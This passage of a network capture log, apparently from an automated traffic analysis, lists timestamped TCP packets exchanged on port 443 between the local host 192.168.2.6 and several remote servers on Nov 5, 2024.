Nov 5, 2024 20:51:33.466835022 CET	443	49870	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.467776060 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.467792034 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.468379974 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.468384027 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.479784966 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.479804039 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.479856968 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.489027977 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.489048004 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.513802052 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.513823986 CET	443	49867	2.23.209.149	192.168.2.6
Nov 5, 2024 20:51:33.513834000 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.513866901 CET	49867	443	192.168.2.6	2.23.209.149
Nov 5, 2024 20:51:33.563373089 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:33.563410997 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:33.563551903 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:33.564719915 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:33.564733982 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:33.603342056 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.603940010 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.603993893 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.604017019 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.604058981 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.618207932 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.618236065 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.618238926 CET	49871	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.618246078 CET	443	49871	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.678634882 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.678669930 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.678749084 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.679136038 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.679148912 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.776509047 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.776952028 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.776976109 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.777410030 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.777415037 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.926732063 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.926784992 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.926882982 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.927009106 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.927023888 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.927033901 CET	49872	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.927038908 CET	443	49872	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.929796934 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.929856062 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:33.930002928 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.930180073 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:33.930193901 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.220098019 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.220618010 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.220639944 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.221328974 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.221333981 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.225384951 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.225800037 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.225841999 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.226325035 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.226331949 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.238707066 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.239162922 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.239195108 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.239552975 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.239558935 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.298578024 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.298650026 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.299335003 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.299462080 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.300860882 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.300869942 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.301088095 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.301132917 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.301172018 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.347337008 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.356628895 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.356735945 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.356833935 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.356947899 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.356964111 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.356972933 CET	49874	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.356977940 CET	443	49874	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.359673977 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.359709024 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.359766006 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.360090971 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.360104084 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.361632109 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.361707926 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.361898899 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.361938000 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.361938000 CET	49875	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.361960888 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.361973047 CET	443	49875	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.363744974 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.363780975 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.363940954 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.364057064 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.364064932 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.375411034 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.375432968 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.375473022 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.375519991 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.375629902 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.375644922 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.375658989 CET	49876	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.375668049 CET	443	49876	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.378635883 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.378647089 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.378724098 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.378860950 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.378870010 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.427860022 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.428368092 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.428379059 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.428828955 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.428833008 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.454025030 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.454087973 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.455646038 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.455686092 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.455728054 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.463505983 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.463521004 CET	443	49877	150.171.28.10	192.168.2.6
Nov 5, 2024 20:51:34.463542938 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.463567972 CET	49877	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:51:34.562760115 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.562881947 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.562937021 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.563002110 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.563018084 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.563028097 CET	49878	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.563033104 CET	443	49878	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.565175056 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.565215111 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.565268993 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.565388918 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.565401077 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.695230007 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.695647001 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.695672989 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.696119070 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.696135044 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.852160931 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.858530045 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.858593941 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.858614922 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.858647108 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.858745098 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.858764887 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.858774900 CET	49879	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.858781099 CET	443	49879	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.861434937 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.861479044 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:34.861563921 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.861696005 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:34.861710072 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.122802973 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.123267889 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.123284101 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.123708010 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.123713970 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.127017975 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.127353907 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.127372026 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.127856016 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.127860069 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.160679102 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.161094904 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.161109924 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.161567926 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.161572933 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.214518070 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:35.214570045 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:35.214715004 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:35.215576887 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:35.215590000 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:35.264935017 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.265012026 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.265208960 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.265311956 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.265331030 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.265345097 CET	49880	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.265352011 CET	443	49880	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.267759085 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.267796040 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.268065929 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.268189907 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.268203020 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.272233009 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.272335052 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.272917032 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.272953033 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.272953033 CET	49881	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.272974014 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.272983074 CET	443	49881	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.274794102 CET	49887	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.274837971 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.274903059 CET	49887	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.275007010 CET	49887	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.275017977 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.304543018 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.304851055 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.304913044 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.304936886 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.304953098 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.304989100 CET	49882	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.305001974 CET	443	49882	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.307049036 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.307082891 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.307735920 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.307861090 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.307872057 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.351823092 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.352832079 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.352866888 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.353277922 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.353281975 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.495160103 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.496563911 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.496623993 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.496660948 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.496680975 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.496706963 CET	49883	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.496712923 CET	443	49883	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.499156952 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.499197006 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.499316931 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.499439955 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.499450922 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.612910986 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.613473892 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.613508940 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.613967896 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.613974094 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.748183012 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.748233080 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.748316050 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.748495102 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.748513937 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.748527050 CET	49884	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.748533010 CET	443	49884	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.751156092 CET	49890	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.751207113 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.751369953 CET	49890	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.751532078 CET	49890	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:35.751545906 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:35.798173904 CET	443	49777	173.222.162.64	192.168.2.6
Nov 5, 2024 20:51:35.798366070 CET	49777	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:36.018651962 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.023590088 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.023612976 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.024069071 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.024072886 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.029268980 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.029977083 CET	49887	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.030005932 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.030361891 CET	49887	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.030366898 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.069068909 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.075306892 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.075325012 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.075737953 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.075742960 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.079610109 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.079668045 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.081212997 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.081223011 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.081449032 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.121467113 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.156069040 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.156697989 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.156759977 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.156796932 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.156796932 CET	49886	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.156817913 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.156826973 CET	443	49886	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.159737110 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.159780025 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.159847021 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.159964085 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.159976959 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.167330980 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.167541981 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.167684078 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.167737961 CET	49887	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.167907953 CET	49887	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.167922020 CET	443	49887	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.169878006 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.169902086 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.170136929 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.170253992 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.170260906 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.209064960 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.209230900 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.209274054 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.209275961 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.209311008 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.209342003 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.209352016 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.209362030 CET	49888	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.209367990 CET	443	49888	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.211637974 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.211671114 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.211776972 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.211894989 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.211905956 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.249579906 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.250050068 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.250058889 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.250480890 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.250484943 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.384777069 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.385122061 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.385195017 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.385272026 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.385289907 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.385307074 CET	49889	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.385312080 CET	443	49889	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.387362003 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.387392044 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.387475967 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.387590885 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.387600899 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.479862928 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.479945898 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.480038881 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.480087996 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.480110884 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.480122089 CET	49885	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.480127096 CET	443	49885	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.519726992 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.519762993 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.519917011 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.520325899 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:36.520335913 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:36.546113968 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.546510935 CET	49890	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.546526909 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.547051907 CET	49890	443	192.168.2.6	13.107.253.45
